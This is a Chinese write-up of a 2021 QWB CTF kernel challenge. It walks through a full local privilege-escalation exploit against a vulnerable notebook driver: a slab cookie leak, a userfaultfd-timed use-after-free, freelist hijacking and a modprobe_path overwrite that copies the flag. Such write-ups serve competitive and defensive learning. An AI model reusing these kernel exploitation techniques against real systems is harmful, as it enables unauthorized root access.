2021年第五届强网杯-NoteBook

忙活三个多小时才将漏洞利用的附件上传到服务器上的靶机中

题目分析

Qemu启动脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
qemu-system-x86_64 \
-m 64M \
-kernel bzImage \
-initrd rootfs.cpio \
-append "loglevel=3 console=ttyS0 oops=panic panic=1 kaslr" \
-nographic \
-net user \
-net nic \
-device e1000 \
-smp cores=2,threads=2 \
-cpu kvm64,+smep,+smap \
-monitor /dev/null 2>/dev/null \
-s

开启以下保护

SMEP:  管理模式执行保护,保护内核是其不允许执行用户空间代码
SMAP:  管理模式访问保护,禁止内核访问用户空间的数据
KASLR: 内核地址随机化
       同时,镜像以多线程形式启动

文件系统初始化

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/bin/sh
/bin/mount -t devtmpfs devtmpfs /dev
chown root:tty /dev/console
chown root:tty /dev/ptmx
chown root:tty /dev/tty
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts

mount -t proc proc /proc
mount -t sysfs sysfs /sys

echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict

ifup eth0 > /dev/null 2>/dev/null

insmod notebook.ko
cat /proc/modules | grep notebook > /tmp/moduleaddr
chmod 777 /tmp/moduleaddr
chmod 777 /dev/notebook
poweroff -d 300 -f &
echo "Welcome to QWB!"

#sh
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys

poweroff -d 1 -n -f

脚本中禁止ptmxtty的访问,但是按照Kirin师傅所述,可以通过UAF来劫持tty_struct进行利用,有空去问下Kirin师傅
同时程序将模块的加载地址获取后放置在/tmp/moduleaddr文件中

交互函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
struct args {
	size_t index;
	size_t size;
	char *buf;
};

void note_add(size_t index,size_t size,char *p)
{
	struct args ar;
	ar.index = index;
	ar.size = size;
	ar.buf = p;
	ioctl(fd,0x100,&ar);
}

void note_del(size_t index)
{
	struct args ar;
	ar.index = index;
	ioctl(fd,0x200,&ar);
}

void note_edit(size_t index,size_t size,char *p)
{
	struct args ar;
	ar.index = index;
	ar.size = size;
	ar.buf = p;
	ioctl(fd,0x300,&ar);
}

void gift(char *p)
{
	struct args ar;
	ar.buf = p;
	ioctl(fd,100,&ar);
}

void write_to_kernel (size_t index, char *user_ptr)
{
	write(fd,user_ptr,index);
}
void read_from_kernel (size_t index, char *user_ptr)
{
	read(fd,user_ptr,index);
}

驱动实现了几个简单的功能,gift函数可以拿到note_add中申请的所有堆块地址

获取驱动地址从 /tmp/moduleaddr

1
2
3
4
	FILE *stream =popen("cat /tmp/moduleaddr  | awk '{print $6}'","r");
	fread(mem,0x12,1,stream);
	mod_address = strtoul(mem,NULL,16);
	printf("Mod_BASE:\t %lX\n",mod_address);

获取cookie值

在最新更新的内核中,slab会存在一个异或的机制,即当前的相同大小的slab块释放后,在fd位置存放的数据是 this_chunk_address ^ next_chunk_address ^ cookie
即存放的数据是当前堆块的地址异或前一个堆块的地址,再异或一个cookie,不同大小的slab所使用的cookie值是不同的
所以此处我们需要泄漏一下cookie,首先则是通过note_gift获取两个堆块地址,然后再释放两个相同大小的slab内存块,并申请回来,通过简单的计算即可拿到cookie值

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
	note_add(0,0x60,data);
	note_add(1,0x60,data);
	gift(mem);
	heap[0] = *(size_t*)mem;
	heap[1] = *(size_t*)(mem + 0x10);
	printf("HEAP - 0:\t %lX\n",heap[0]);
	printf("HEAP - 1:\t %lX\n",heap[1]);
	
	note_del(1);
	note_del(0);
	note_add(0,0x60,data);
	note_add(1,0x60,data);
	read_from_kernel(0,mem);
	cookie = (*(size_t*)mem) ^ heap[0] ^ heap[1];

漏洞利用方法

UserfaultfdLinux-Kernel中的一种能够让用户态来处理pagefault的机制
由于在触发pagefault能够将控制流导回用户态,可以非常有效地控制内核线程的执行顺序,从而将竞态条件类的漏洞利用转化为确定性的漏洞利用.
同时,配合内核中某些任意大小分配的函数,也可以完成UAF对象的劫持操作,提高UAF漏洞的可利用性.

1
2
3
4
	fault_page = (size_t)mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
	fault_page_len = 0x1000;
	register_userfault(); 	// 注册监视缺页内存
	write_to_kernel(0,(char*)fault_page); 	// 触发缺页并挂起进程

首先mmap分配一个内存页作为,但是不去对其地址处赋值读写操作,若将此地址传入内核中,在内核中对其进行访问,则会触发pagefault,所以需要通过userfaultfd的方法来处理pagefault

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
void* UAF_handler(void *arg)
{
	struct uffd_msg msg;
	unsigned long uffd = (unsigned long)arg;
	puts("[+] Handler Created");

	struct pollfd pollfd;
	int nready;
	pollfd.fd      = uffd;
	pollfd.events  = POLLIN;
	nready = poll(&pollfd, 1, -1);
	if (nready != 1)  // Wainting copy_from_user/copy_to_user访问FAULT_PAGE
		errExit("[-] Wrong pool return value");
	puts("[+] Trigger! I'm going to hang");
	note_del(0);

	if (read(uffd, &msg, sizeof(msg)) != sizeof(msg))
		errExit("[-] Error in reading uffd_msg");
	assert(msg.event == UFFD_EVENT_PAGEFAULT);
	
	struct uffdio_copy uc;
	
	size_t target = cookie ^  (mod_address + 0x2500 - 0x10) ^ heap[0];
	uint64_t DATA[2] = {target,0};

	uc.src = (unsigned long)DATA;
	uc.dst = (unsigned long)fault_page;
	uc.len = fault_page_len;
	uc.mode = 0;
	ioctl(uffd, UFFDIO_COPY, &uc);  // 恢复copy_from_user

	puts("[+] Done");
	return NULL;
}
void register_userfault()
{
	struct uffdio_api ua;
	struct uffdio_register ur;
	pthread_t thr;

	uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // Create THE User Fault Fd
	ua.api = UFFD_API;
	ua.features = 0;
	if (ioctl(uffd, UFFDIO_API, &ua) == -1)
		errExit("[-] ioctl-UFFDIO_API");
	ur.range.start = (unsigned long)fault_page;
	ur.range.len   = fault_page_len;
	ur.mode        = UFFDIO_REGISTER_MODE_MISSING;
	if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1)
		errExit("[-] ioctl-UFFDIO_REGISTER");  //注册页地址与错误处理FD,若访问到FAULT_PAGE,则访问被挂起,uffd会接收到信号
	if ( pthread_create(&thr, NULL, UAF_handler, (void*)uffd) ) // handler函数进行访存错误处理
		errExit("[-] pthread_create");
    return;
}

首先注册一个userfaultfd,再另外起一个线程进行处理,在UAF_handler中,此时内核会在对上述脚本中 mmap 分配的内存地址进行访问的时候挂起

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
	note_del(0);

	if (read(uffd, &msg, sizeof(msg)) != sizeof(msg))
		errExit("[-] Error in reading uffd_msg");
	assert(msg.event == UFFD_EVENT_PAGEFAULT);
	
	struct uffdio_copy uc;
	
	size_t target = cookie ^  (mod_address + 0x2500 - 0x10) ^ heap[0];
	uint64_t DATA[2] = {target,0};

	uc.src = (unsigned long)DATA;
	uc.dst = (unsigned long)fault_page;
	uc.len = fault_page_len;
	uc.mode = 0;
	ioctl(uffd, UFFDIO_COPY, &uc);  // 恢复copy_from_user

因为上面我们是想要通过write_to_kernel函数往第一个slab 内存块中写入数据,但是在准备写入的时候,主线程在copy_from_user时挂起,同时我们又起了一个新的线程UAF_handler,在这个新线程里面,因为我们想要通过UAF利用,所以将第一个 slab 内存块释放,然后通过userfaultfd恢复数据写入(即恢复copy_from_user)
因为堆块已经释放,所以写入也是往一个free chunk中写入数据,再按照slab的异或保护机制,构造一个合法的fd,这里选择申请的目标地址是"在mod中保存堆块地址 - 0x10“的位置

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
*(size_t*)(data + 0xF0) = cookie ^ (mod_address + 0x2500 - 0x10);

	size_t tmp_chunk;
	for(i = 0; i < 0x10; i++)
	{
		note_add(i,0x60,data);
		gift(mem);
		tmp_chunk = *(size_t*)(mem + i*0x10);
		if(tmp_chunk == heap[0]) {
			printf("Next is Target, Has Found, Index: %d\n",i);
			break;
		}
		if(i == 0xF)
		{
			puts("Can not Found the Target");
			_exit(-1);
		}
	}

如果想要任意申请堆块到一个地址处,那么对应的地址处应该存放一个”合法地址 ^ chunk ^ cookie",而如果对应 *chunk = chunk ^ cookie,那么将不再继续分配(尾节点),所以此处设置 *(mod_address + 0x2500 - 0x10) = cookie ^ (mod_address + 0x2500 - 0x10),即可让slab在分配完目标地址后终止分配
之所以需要在目标地址处控制数据,是因为在申请目标地址的最后,会对其fd保存的数据进行下述处理,如果为0 或者 为一个堆块地址,再异或cookie后会成为一个非法地址访问导致内核崩溃

1
2
3
xor     rbx, [rbx]
xor     rbx, [r9+140h]
prefetcht0 byte ptr [rbx]

上述部分,则会通过不断的申请,将我们之前修改过的 free chunk 给申请出来,那么它下一个申请,很大概率则是我们的目标地址

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
	note_add(i + 1,0x60,data);
	
	size_t BUF[0x10] = {0};
	BUF[2] = mod_address + 0x168;
	BUF[3] = 0x4;
	BUF[4] = mod_address + 0x2500;
	BUF[5] = 0x100;
	write_to_kernel(i + 1,BUF);
	
	read_from_kernel(0,mem);
	kernel_base = ((*(uint32_t*)mem + mod_address + 0x16C) | 0xFFFFFFFF00000000) - 0x476C30;
	printf("Kernel_BASE:\t%lX\n",kernel_base);
	
	size_t modprobe_path = kernel_base + 0x125D2E0;
	
	BUF[0] = modprobe_path;
	BUF[1] = 0x10;
	write_to_kernel(1,BUF);
	
	strcpy(data,"/tmp/copy.sh");
	write_to_kernel(0,data);
	
	system("echo -ne '#!/bin/sh\n/bin/cp /flag /tmp/flag\n/bin/chmod 777 /tmp/flag' > /tmp/copy.sh");
	system("chmod +x /tmp/copy.sh");
	system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
	system("chmod +x /tmp/dummy");

	system("/tmp/dummy");

后续则是控制对应的存放堆块地址的结构体数组,泄漏内核基址,最后通过修改 modprobepath 进行利用
当然暴力搜索内存中的cred结构体,也是可以进行提权的

后记

去年强网杯当时只会做常规Pwn题,今年终于能做出一个简单的内核Pwn,已然成为一名摸鱼CTF选手了

“Reference”

[附件]